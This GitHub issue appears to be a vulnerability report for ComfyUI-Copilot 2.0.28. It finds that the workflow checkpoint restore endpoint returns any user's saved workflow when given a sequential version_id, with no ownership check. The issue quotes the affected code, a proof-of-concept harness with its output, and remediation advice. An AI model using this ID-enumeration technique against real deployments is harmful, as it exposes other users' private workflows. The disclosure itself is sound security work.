Skip to content

Cross-Tenant Data Exposure via Unscoped Workflow Checkpoint Restore #149

Description

@3em0

Cross-Tenant Data Exposure via Hash-Key Confusion in Workflow Checkpoint Restore

Summary

An attacker with access to the checkpoint restore endpoint can request a different user's version_id, causing application-level object-key reuse, which leads to unauthorized retrieval of saved workflow checkpoint data. The application treats the client-supplied version_id as sufficient proof of access to a workflow checkpoint, negatively impacting users whose workflow data is stored in workflow_version.

Affected Versions

  • Affected: main branch at commit c2502d728d59ca2aed4d9002ea37bcb84ed11bff
  • Confirmed affected: ComfyUI-Copilot version 2.0.28, commit c2502d728d59ca2aed4d9002ea37bcb84ed11bff
  • Fixed: Not available at the time of reporting
  • Introduced in: Not determined

Existing workflow checkpoint records generated by affected versions may remain unsafe until the checkpoint store is invalidated or migrated to include ownership and authorization metadata.

Details

The vulnerability occurs because the workflow checkpoint restore path uses a bare integer version_id as the security-relevant object key. The saved record contains session_id, workflow_data, workflow_data_ui, and attributes, but the restore path does not bind the requested checkpoint to the caller's session, user, tenant, or permission context before returning the saved workflow payload.

Where the Hash is Computed

There is no cryptographic hash. The application-level identity key is the raw version_id returned when a checkpoint is saved and later accepted from the restore query string. The following code is from version 2.0.28, commit c2502d728d59ca2aed4d9002ea37bcb84ed11bff.

# https://github.com/AIDC-AI/ComfyUI-Copilot/blob/c2502d728d59ca2aed4d9002ea37bcb84ed11bff/backend/controller/conversation_api.py#L403-L427

version_id = save_workflow_data(
    session_id=session_id,
    workflow_data=workflow_api,
    workflow_data_ui=workflow_ui,
    attributes=attributes
)

log.info(f"Workflow checkpoint saved with version ID: {version_id}")

# Return response format based on checkpoint type
response_data = {
    "version_id": version_id,
    "checkpoint_type": checkpoint_type
}

if checkpoint_type == "user_message_checkpoint" and message_id:
    response_data.update({
        "checkpoint_id": version_id,  # Add checkpoint_id alias for user message checkpoints
        "message_id": message_id
    })

return web.json_response({
    "success": True,
    "data": response_data,
    "message": f"Workflow checkpoint saved successfully"
})

The frontend later sends that same object key back to the restore endpoint.

// https://github.com/AIDC-AI/ComfyUI-Copilot/blob/c2502d728d59ca2aed4d9002ea37bcb84ed11bff/ui/src/apis/workflowChatApi.ts#L818-L840

export async function restoreWorkflowCheckpoint(
  versionId: number
): Promise<{
  version_id: number;
  workflow_data: any;
  workflow_data_ui?: any;
  attributes: any;
  created_at: string;
}> {
  try {
    const response = await fetch(`/api/restore-workflow-checkpoint?version_id=${versionId}`, {
      method: 'GET',
      headers: {
        'trace-id': generateUUID(),
      },
    });

    const result = await response.json();
    if (!result.success) {
      throw new Error(result.message || 'Failed to restore workflow checkpoint');
    }

    return result.data;

What Fields Are Included or Excluded

The application-level key includes only:

  • version_id

The checkpoint record stores, but the restore lookup does not validate:

  • session_id

The restore key excludes:

  • tenant_id
  • user_id
  • workflow_owner_id
  • permissions
  • caller session binding
  • authorization token binding
  • checkpoint schema or ownership namespace

The excluded fields matter because the key is used to return persisted workflow artifacts. Two requests with different callers or sessions can request the same version_id and receive the same saved checkpoint, even though they are not security-equivalent.

How the Hash is Used for a Security-Relevant Decision

The restore endpoint accepts version_id from the query string and uses it as the only selector for the persisted workflow checkpoint. No request header, authenticated principal, or session_id comparison is performed before returning workflow_data and workflow_data_ui.

# https://github.com/AIDC-AI/ComfyUI-Copilot/blob/c2502d728d59ca2aed4d9002ea37bcb84ed11bff/backend/controller/conversation_api.py#L439-L484

@server.PromptServer.instance.routes.get("/api/restore-workflow-checkpoint")
async def restore_workflow_checkpoint(request):
    """
    Restore workflow checkpoint by version ID
    """
    log.info("Received restore-workflow-checkpoint request")
    
    try:
        version_id = request.query.get('version_id')
        
        if not version_id:
            return web.json_response({
                "success": False,
                "message": "Missing required parameter: version_id"
            })
        
        try:
            version_id = int(version_id)
        except ValueError:
            return web.json_response({
                "success": False,
                "message": "Invalid version_id format"
            })
        
        # Get workflow data by version ID
        workflow_version = get_workflow_data_by_id(version_id)
        
        if not workflow_version:
            return web.json_response({
                "success": False,
                "message": f"Workflow version {version_id} not found"
            })
        
        log.info(f"Restored workflow checkpoint version ID: {version_id}")
        
        return web.json_response({
            "success": True,
            "data": {
                "version_id": version_id,
                "workflow_data": workflow_version.get('workflow_data'),
                "workflow_data_ui": workflow_version.get('workflow_data_ui'),
                "attributes": workflow_version.get('attributes'),
                "created_at": workflow_version.get('created_at')
            },
            "message": f"Workflow checkpoint restored successfully"
        })

The DAO confirms that the database query is keyed only by the primary key id.

# https://github.com/AIDC-AI/ComfyUI-Copilot/blob/c2502d728d59ca2aed4d9002ea37bcb84ed11bff/backend/dao/workflow_table.py#L104-L120

def get_workflow_version_by_id(self, version_id: int) -> Optional[Dict[str, Any]]:
    """根据版本ID获取工作流数据"""
    session = self.get_session()
    try:
        version = session.query(WorkflowVersion)\
            .filter(WorkflowVersion.id == version_id)\
            .first()
        
        if version:
            result = version.to_dict()
            # 添加UI格式的工作流数据
            if version.workflow_data_ui:
                result['workflow_data_ui'] = json.loads(version.workflow_data_ui)
            return result
        return None
    finally:
        session.close()

Why Hash Equality Does Not Imply Security Equivalence

This is application-level key confusion, not a raw cryptographic collision. Equality of version_id only means two requests name the same database row. It does not prove the caller owns that row or is allowed to read the stored workflow. Because the restore path has no ownership or permission revalidation, object-key equality is incorrectly treated as authorization equivalence.

How the Attacker Constructs a Conflicting Object

Victim checkpoint:

{
  "version_id": 1,
  "session_id": "alice_session",
  "workflow_data": {
    "owner_marker": "ALICE_PRIVATE_WORKFLOW",
    "prompt": "private prompt only Alice should see"
  },
  "workflow_data_ui": {
    "ui_owner_marker": "ALICE_PRIVATE_UI"
  }
}

Attacker request:

{
  "requester": "bob_session",
  "headers": {
    "Authorization": "Bearer bob-token",
    "X-Session-ID": "bob_session"
  },
  "restore_url": "/api/restore-workflow-checkpoint?version_id=1"
}

The two objects are not security-equivalent because the checkpoint belongs to Alice while the restore request is made by Bob. They still resolve to the same application-level object key because only version_id=1 is used.

Version-Specific Behavior

In commit c2502d728d59ca2aed4d9002ea37bcb84ed11bff, the checkpoint schema stores session_id, but the restore endpoint does not use it to authorize reads. The behavior does not appear to depend on a feature flag. Existing rows in backend/data/workflow_debug.db remain addressable by integer id until the data is cleared or migrated.

Comparison with a Secure Path

A secure path would bind checkpoint records to a server-side authenticated principal and validate that principal at read time. If this project intentionally supports session-scoped checkpoints, the restore lookup should at minimum require both the checkpoint ID and the expected session_id, and the server should derive or verify that session binding rather than trusting only the object ID.

Impact

This vulnerability allows attackers to:

  • Read another user's saved workflow_data and workflow_data_ui
  • Enumerate sequential checkpoint IDs to discover private workflow artifacts
  • Reuse persisted checkpoint records across security boundaries until the database is invalidated or migrated

The attack is persistent: workflow checkpoint rows generated with the vulnerable object-key scheme remain readable by version_id until the checkpoint store is cleared, migrated, or protected by read-time authorization checks.

Proof of Concept

I verified the issue end-to-end against ComfyUI-Copilot version 2.0.28, commit c2502d728d59ca2aed4d9002ea37bcb84ed11bff, using the real controller handlers and DAO with a temporary SQLite database. The test simulates Alice saving a private checkpoint and Bob restoring Alice's checkpoint by changing only the version_id.

#!/usr/bin/env python3
"""Minimal PoC for checkpoint object-key confusion."""

# Tested against commit c2502d728d59ca2aed4d9002ea37bcb84ed11bff.
# The local harness stubs ComfyUI runtime modules, then calls the real
# save_workflow_checkpoint(), restore_workflow_checkpoint(), and DAO code.

alice_save = await save_workflow_checkpoint(FakeRequest({
    "session_id": "alice_session",
    "workflow_api": {
        "owner_marker": "ALICE_PRIVATE_WORKFLOW",
        "prompt": "private prompt only Alice should see"
    },
    "workflow_ui": {"ui_owner_marker": "ALICE_PRIVATE_UI"},
    "checkpoint_type": "debug_start",
}, headers={"Authorization": "Bearer alice-token"}))

bob_save = await save_workflow_checkpoint(FakeRequest({
    "session_id": "bob_session",
    "workflow_api": {"owner_marker": "BOB_WORKFLOW"},
    "workflow_ui": {"ui_owner_marker": "BOB_UI"},
    "checkpoint_type": "debug_start",
}, headers={"Authorization": "Bearer bob-token"}))

alice_version = alice_save.data["data"]["version_id"]

# Bob supplies his own request metadata but targets Alice's version_id.
bob_restore_alice = await restore_workflow_checkpoint(FakeRequest(
    query={"version_id": str(alice_version)},
    headers={"Authorization": "Bearer bob-token", "X-Session-ID": "bob_session"},
))

restored = bob_restore_alice.data["data"]
assert bob_restore_alice.data["success"] is True
assert restored["workflow_data"]["owner_marker"] == "ALICE_PRIVATE_WORKFLOW"
assert restored["workflow_data_ui"]["ui_owner_marker"] == "ALICE_PRIVATE_UI"
print("vulnerability_reproduced True")

Execution result:

{
  "alice_saved_version_id": 1,
  "bob_saved_version_id": 2,
  "alice_db_record_session_id": "alice_session",
  "bob_restore_request_headers": {
    "Authorization": "Bearer bob-token",
    "X-Session-ID": "bob_session"
  },
  "bob_restore_target_version_id": 1,
  "bob_restore_success": true,
  "bob_received_owner_marker": "ALICE_PRIVATE_WORKFLOW",
  "bob_received_prompt": "private prompt only Alice should see",
  "bob_received_ui_marker": "ALICE_PRIVATE_UI",
  "vulnerability_reproduced": true
}

This proves the broken invariant: two non-equivalent security contexts, Alice's checkpoint and Bob's request, resolve to the same object key and the application returns Alice's private workflow to Bob.

Remediation

Bind checkpoint records to a server-side authenticated principal and revalidate authorization before returning checkpoint data. Do not rely on a client-supplied integer version_id as the sole object identity for restore operations.

# In backend/controller/conversation_api.py, around the restore path.
# Fix direction: derive caller identity/session server-side, include it in the
# lookup, and refuse to return records that do not belong to the caller.

workflow_version = get_workflow_data_by_id_for_owner(
    version_id=version_id,
    owner_id=current_user.id,
    session_id=current_session_id,
)

if not workflow_version:
    return web.json_response({
        "success": False,
        "message": "Workflow version not found"
    }, status=404)

Additional mitigations:

  1. Canonical Object Identity: Define a deterministic checkpoint identity that includes ownership and authorization scope.
  2. Complete Field Coverage: Include all fields relevant to authorization, ownership, tenant isolation, and checkpoint schema validity.
  3. Digest Schema Versioning: If a digest or composite key is introduced, include a key schema version to prevent unsafe reuse of old records.
  4. Domain Separation: Separate checkpoint namespaces across users, tenants, sessions, and object types.
  5. Cryptographic Construction: Use an unguessable server-generated identifier or HMAC-bound token if checkpoint IDs must be exposed to clients.
  6. Avoid Truncation: Do not expose short or sequential identifiers as the only handle for sensitive artifacts.
  7. Read-Time Revalidation: Re-check ownership and policy before returning any persisted workflow checkpoint.
  8. State Invalidation: Invalidate or migrate workflow checkpoint records generated without ownership bindings.

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions